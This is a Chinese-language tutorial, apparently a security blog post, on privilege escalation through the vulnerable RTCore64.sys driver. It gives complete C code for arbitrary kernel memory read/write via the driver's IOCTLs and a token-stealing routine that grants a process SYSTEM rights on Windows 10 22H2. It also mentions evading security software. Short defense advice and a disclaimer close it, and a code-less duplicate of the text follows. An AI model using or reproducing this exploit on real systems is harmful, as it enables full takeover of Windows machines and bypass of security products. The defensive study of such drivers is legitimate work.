通过漏洞驱动进行权限提升-RTCore64.sys分析
字数 1496 2025-11-28 12:17:03

通过漏洞驱动进行权限提升 - RTCore64.sys 分析教学文档

0x01 前言

Bring Your Own Vulnerable Driver (BYOVD) 攻击技术中,最常见的应用场景是通过 ZwTerminateProcess 终止安全软件或 EDR 进程。然而,研究发现在 LOLDrivers 项目中存在的 RTCore64.sys 驱动可用于权限提升。本教学将详细分析该驱动的漏洞机制,并演示如何利用任意内核地址读写漏洞实现从应用层进行权限提升。

0x02 RTCore64.sys 驱动分析

驱动初始化过程

DriverEntry 函数中,驱动会创建设备对象 DeviceRTCore64 和符号链接 DosDevicesRTCore64,为后续用户态通信建立通道。

IOCTL 派遣函数分析

驱动主要处理两个关键 IOCTL 控制码:

  • 0x80002048: 实现任意内核地址数据读取
  • 0x8000204C: 实现任意内核地址数据写入

数据结构定义

typedef struct _RTCore64_Struct {
    BYTE Unknown[8];        // 0x0
    ULONG64 StartAddress;   // 0x8 - 读写操作的起始地址
    BYTE Unknown2[4];       // 0x10
    ULONG Offset;           // 0x14 - 从起始地址开始的偏移量
    ULONG SizeType;         // 0x18 - 读写操作的数据大小类型
    ULONG Output;           // 0x1C - 读取或写入的数据
    BYTE Unknown3[16];      // 0x20
} RTCore64_Struct, *PRTCore64_Struct; // 总大小: 0x30

任意内核地址读取实现

基础读取函数

BOOL BasicRead(ULONG64 StartAddress, ULONG SizeType, PULONG Output) {
    RTCore64_Struct rtcore64;
    ZeroMemory(&rtcore64, sizeof(RTCore64_Struct));
    rtcore64.StartAddress = StartAddress;
    rtcore64.SizeType = SizeType;

    HANDLE hDevice = CreateFileA("\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 
                                0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    DWORD bytesReturned;
    BOOL bRet = DeviceIoControl(hDevice, 0x80002048, &rtcore64, sizeof(RTCore64_Struct),
                               &rtcore64, sizeof(RTCore64_Struct), &bytesReturned, NULL);
    
    CloseHandle(hDevice);
    if (!bRet) return FALSE;
    
    *Output = rtcore64.Output;
    return TRUE;
}

类型化读取函数

// 读取 BYTE 类型数据
BOOL ReadKernelBYTE(ULONG64 StartAddress, PBYTE Output) {
    ULONG value = 0;
    if (!BasicRead(StartAddress, 1, &value)) return FALSE;
    *Output = (BYTE)(value & 0xFF);
    return TRUE;
}

// 读取 WORD 类型数据
BOOL ReadKernelWORD(ULONG64 StartAddress, PWORD Output) {
    ULONG value = 0;
    if (!BasicRead(StartAddress, 2, &value)) return FALSE;
    *Output = (WORD)(value & 0xFFFF);
    return TRUE;
}

// 读取 DWORD 类型数据
BOOL ReadKernelDWORD(ULONG64 StartAddress, PDWORD Output) {
    return BasicRead(StartAddress, 4, Output);
}

// 读取 QWORD 类型数据
BOOL ReadKernelQWORD(ULONG64 StartAddress, PULONG64 Output) {
    ULONG low = 0, high = 0;
    if (!BasicRead(StartAddress, 4, &low)) return FALSE;
    if (!BasicRead(StartAddress + 4, 4, &high)) return FALSE;
    *Output = ((ULONG64)high << 32) | low;
    return TRUE;
}

任意内核地址写入实现

基础写入函数

BOOL BasicWrite(ULONG64 StartAddress, ULONG SizeType, ULONG Output) {
    RTCore64_Struct rtcore64;
    ZeroMemory(&rtcore64, sizeof(RTCore64_Struct));
    rtcore64.StartAddress = StartAddress;
    rtcore64.SizeType = SizeType;
    rtcore64.Output = Output;

    HANDLE hDevice = CreateFileA("\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 
                                0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) return FALSE;

    DWORD bytesReturned;
    BOOL bRet = DeviceIoControl(hDevice, 0x8000204C, &rtcore64, sizeof(RTCore64_Struct),
                               &rtcore64, sizeof(RTCore64_Struct), &bytesReturned, NULL);
    
    CloseHandle(hDevice);
    return bRet;
}

// 写入 QWORD 类型数据
BOOL WriteKernelQWORD(ULONG64 StartAddress, ULONG64 Output) {
    ULONG low = Output & 0xFFFFFFFF;
    ULONG high = (Output >> 32) & 0xFFFFFFFF;
    
    if (!BasicWrite(StartAddress, 4, low)) return FALSE;
    if (!BasicWrite(StartAddress + 4, 4, high)) return FALSE;
    return TRUE;
}

0x03 权限提升技术原理

EPROCESS 与 Token 机制

Windows 内核中,每个进程都有一个 EPROCESS 结构,其中包含 Token 指针(偏移量因系统版本而异)。Token 对象决定进程的安全上下文和权限级别。

EX_FAST_REF 结构分析

struct _EX_FAST_REF {
    union {
        VOID* Object;           // 完整的指针值
        ULONGLONG RefCnt:4;     // 低4位为引用计数
        ULONGLONG Value;        // 完整64位值
    };
};

权限提升核心思路

将目标进程的 Token 指针替换为 System 进程的 Token 指针,同时保留原始 Token 的低4位引用计数。

关键技术实现步骤

1. 获取内核基地址

ULONG64 GetKernelBase() {
    ULONG cbNeeded = 0;
    if (!EnumDeviceDrivers(NULL, 0, &cbNeeded)) return NULL;
    
    ULONG64* lpImageBase = (ULONG64*)malloc(cbNeeded);
    if (!lpImageBase) return NULL;
    
    if (!EnumDeviceDrivers(lpImageBase, cbNeeded, &cbNeeded)) {
        free(lpImageBase);
        return NULL;
    }
    
    ULONG64 kernelBase = lpImageBase[0];
    free(lpImageBase);
    return kernelBase;
}

2. 获取 PsInitialSystemProcess 偏移量

ULONG GetPsInitialSystemProcessOffset() {
    HMODULE hModule = LoadLibraryA("ntoskrnl.exe");
    if (!hModule) return 0;
    
    ULONG64 PsInitialSystemProcess = (ULONG64)GetProcAddress(hModule, "PsInitialSystemProcess");
    if (!PsInitialSystemProcess) {
        FreeLibrary(hModule);
        return 0;
    }
    
    ULONG offset = (ULONG)(PsInitialSystemProcess - (ULONG64)hModule);
    FreeLibrary(hModule);
    return offset;
}

3. 获取 System 进程 EPROCESS 地址

ULONG64 GetSystemEprocessPtr() {
    ULONG64 kernelBase = GetKernelBase();
    if (!kernelBase) return 0;
    
    ULONG offset = GetPsInitialSystemProcessOffset();
    if (!offset) return 0;
    
    ULONG64 psInitialSystemProcessAddr = kernelBase + offset;
    ULONG64 systemEprocess = 0;
    
    if (!ReadKernelQWORD(psInitialSystemProcessAddr, &systemEprocess)) return 0;
    return systemEprocess;
}

4. 获取 System 进程 Token 指针

ULONG64 GetSystemTokenPtr(ULONG64 systemEprocess) {
    ULONG64 token = 0;
    // Windows 10 22H2 Token 偏移为 0x4b8
    if (!ReadKernelQWORD(systemEprocess + 0x4b8, &token)) return 0;
    return token;
}

5. 通过进程 PID 查找目标进程 EPROCESS

ULONG64 GetEprocessByPid(ULONG ProcessId) {
    ULONG64 systemEprocess = GetSystemEprocessPtr();
    if (!systemEprocess) return 0;
    
    ULONG64 currentEprocess = systemEprocess;
    ULONG currentPid = 0;
    
    // 读取第一个进程的 PID
    if (!ReadKernelDWORD(systemEprocess + 0x440, &currentPid)) return 0;
    
    // 遍历 ActiveProcessLinks 链表
    while (currentPid != ProcessId) {
        ULONG64 flink = 0;
        // ActiveProcessLinks 偏移为 0x448
        if (!ReadKernelQWORD(currentEprocess + 0x448, &flink)) return 0;
        
        // 计算下一个 EPROCESS 地址
        currentEprocess = flink - 0x448;
        if (!ReadKernelDWORD(currentEprocess + 0x440, &currentPid)) return 0;
        
        // 防止无限循环
        if (currentPid == 4) break; // System 进程 PID
    }
    
    return (currentPid == ProcessId) ? currentEprocess : 0;
}

6. 执行 Token 替换操作

BOOL ElevateToken(ULONG TargetPid) {
    ULONG64 systemEprocess = GetSystemEprocessPtr();
    if (!systemEprocess) return FALSE;
    
    ULONG64 systemToken = GetSystemTokenPtr(systemEprocess);
    if (!systemToken) return FALSE;
    
    ULONG64 targetEprocess = GetEprocessByPid(TargetPid);
    if (!targetEprocess) return FALSE;
    
    ULONG64 targetToken = GetSystemTokenPtr(targetEprocess);
    if (!targetToken) return FALSE;
    
    // 保留引用计数,替换 Token 指针
    systemToken = systemToken & ~0xF;           // 清除低4位
    ULONG targetTokenRefCount = targetToken & 0xF; // 获取原始引用计数
    ULONG64 newToken = systemToken | targetTokenRefCount; // 组合新 Token
    
    // 写入新的 Token 值(Windows 10 22H2 偏移 0x4b8)
    if (!WriteKernelQWORD(targetEprocess + 0x4b8, newToken)) return FALSE;
    
    return TRUE;
}

0x04 实际利用示例

操作流程

  1. 加载漏洞驱动: 确保 RTCore64.sys 正确加载并创建设备对象
  2. 获取当前进程 PID: 使用 GetCurrentProcessId() 获取目标 PID
  3. 执行权限提升: 调用 ElevateToken() 函数替换 Token
  4. 验证权限: 创建新进程验证是否获得 SYSTEM 权限

关键注意事项

  1. 系统版本适配: 不同 Windows 版本的 EPROCESS 结构偏移不同,需要根据目标系统调整
  2. 驱动加载权限: 需要管理员权限才能加载驱动程序
  3. 防检测措施: 实际利用中需要考虑绕过安全软件检测
  4. 稳定性考虑: 错误的内存访问可能导致系统蓝屏

0x05 防御建议

针对此类攻击的防护措施

  1. 驱动签名验证: 启用驱动签名强制验证
  2. 驱动程序黑名单: 维护已知漏洞驱动列表并阻止加载
  3. 内核补丁保护: 启用 PatchGuard 等内核保护机制
  4. 进程监控: 监控异常的 Token 替换行为
  5. 最小权限原则: 遵循最小权限原则运行应用程序

0x06 总结

通过分析 RTCore64.sys 驱动的漏洞机制,我们展示了如何利用任意内核地址读写漏洞实现权限提升。这种技术不仅限于终止安全进程,还能直接修改内核数据结构获取最高权限。理解这种攻击手法有助于更好地防御 BYOVD 攻击,并加强系统安全防护。

重要提示: 本教学文档仅用于安全研究和教育目的,实际利用此类漏洞可能违反法律法规,请在合法授权范围内使用这些技术。

通过漏洞驱动进行权限提升 - RTCore64.sys 分析教学文档 0x01 前言 Bring Your Own Vulnerable Driver (BYOVD) 攻击技术中,最常见的应用场景是通过 ZwTerminateProcess 终止安全软件或 EDR 进程。然而,研究发现在 LOLDrivers 项目中存在的 RTCore64.sys 驱动可用于权限提升。本教学将详细分析该驱动的漏洞机制,并演示如何利用任意内核地址读写漏洞实现从应用层进行权限提升。 0x02 RTCore64.sys 驱动分析 驱动初始化过程 在 DriverEntry 函数中,驱动会创建设备对象 DeviceRTCore64 和符号链接 DosDevicesRTCore64 ,为后续用户态通信建立通道。 IOCTL 派遣函数分析 驱动主要处理两个关键 IOCTL 控制码: 0x80002048 : 实现任意内核地址数据读取 0x8000204C : 实现任意内核地址数据写入 数据结构定义 任意内核地址读取实现 基础读取函数 类型化读取函数 任意内核地址写入实现 基础写入函数 0x03 权限提升技术原理 EPROCESS 与 Token 机制 Windows 内核中,每个进程都有一个 EPROCESS 结构,其中包含 Token 指针(偏移量因系统版本而异)。Token 对象决定进程的安全上下文和权限级别。 EX_ FAST_ REF 结构分析 权限提升核心思路 将目标进程的 Token 指针替换为 System 进程的 Token 指针,同时保留原始 Token 的低4位引用计数。 关键技术实现步骤 1. 获取内核基地址 2. 获取 PsInitialSystemProcess 偏移量 3. 获取 System 进程 EPROCESS 地址 4. 获取 System 进程 Token 指针 5. 通过进程 PID 查找目标进程 EPROCESS 6. 执行 Token 替换操作 0x04 实际利用示例 操作流程 加载漏洞驱动 : 确保 RTCore64.sys 正确加载并创建设备对象 获取当前进程 PID : 使用 GetCurrentProcessId() 获取目标 PID 执行权限提升 : 调用 ElevateToken() 函数替换 Token 验证权限 : 创建新进程验证是否获得 SYSTEM 权限 关键注意事项 系统版本适配 : 不同 Windows 版本的 EPROCESS 结构偏移不同,需要根据目标系统调整 驱动加载权限 : 需要管理员权限才能加载驱动程序 防检测措施 : 实际利用中需要考虑绕过安全软件检测 稳定性考虑 : 错误的内存访问可能导致系统蓝屏 0x05 防御建议 针对此类攻击的防护措施 驱动签名验证 : 启用驱动签名强制验证 驱动程序黑名单 : 维护已知漏洞驱动列表并阻止加载 内核补丁保护 : 启用 PatchGuard 等内核保护机制 进程监控 : 监控异常的 Token 替换行为 最小权限原则 : 遵循最小权限原则运行应用程序 0x06 总结 通过分析 RTCore64.sys 驱动的漏洞机制,我们展示了如何利用任意内核地址读写漏洞实现权限提升。这种技术不仅限于终止安全进程,还能直接修改内核数据结构获取最高权限。理解这种攻击手法有助于更好地防御 BYOVD 攻击,并加强系统安全防护。 重要提示 : 本教学文档仅用于安全研究和教育目的,实际利用此类漏洞可能违反法律法规,请在合法授权范围内使用这些技术。